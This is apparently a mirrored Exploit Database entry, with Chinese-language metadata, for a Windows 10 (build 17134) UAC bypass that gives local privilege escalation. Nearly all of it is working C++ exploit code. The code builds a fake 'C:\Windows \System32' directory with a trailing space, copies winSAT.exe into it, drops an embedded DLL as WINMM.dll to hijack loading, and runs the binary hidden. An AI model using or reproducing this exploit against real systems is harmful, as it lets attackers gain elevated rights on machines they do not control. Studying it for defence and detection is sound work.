Microsoft Windows 10 (Build 17134) – Local Privilege Escalation (UAC Bypass)

• Exploit Database
• 42 阅读

• 作者： Tenable NS
  日期： 2018-11-08
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45805/

• #include "stdafx.h"
  #include <Windows.h>
  #include "resource.h"
  
  void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
  	HMODULE hMod = GetModuleHandle(NULL);
  	HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
  	DWORD dllSize = SizeofResource(hMod, res);
  	void* dllBuff = LoadResource(hMod, res);
  	HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
  	DWORD sizeOut;
  	WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
  	CloseHandle(hDll);
  }
  
  int main()
  {
  	_SHELLEXECUTEINFOW se = {};
  	//Create Mock SystemRoot Directory
  	CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);
  	CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", 0);
  	CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"\\\\?\\C:\\Windows \\System32\\winSAT.exe", false);
  
  	//Drop our dll for hijack
  	DropResource(L"DATA", L"\\\\?\\C:\\Windows \\System32\\WINMM.dll");
  
  	//Execute our winSAT.exe copy from fake trusted directory
  	se.cbSize = sizeof(_SHELLEXECUTEINFOW);
  	se.lpFile =L"C:\\Windows \\System32\\winSAT.exe";
  	se.lpParameters = L"formal";
  	se.nShow = SW_HIDE;
  	se.hwnd = NULL;
  	se.lpDirectory = NULL;
  	ShellExecuteEx(&se);
  
  	return 0;
  }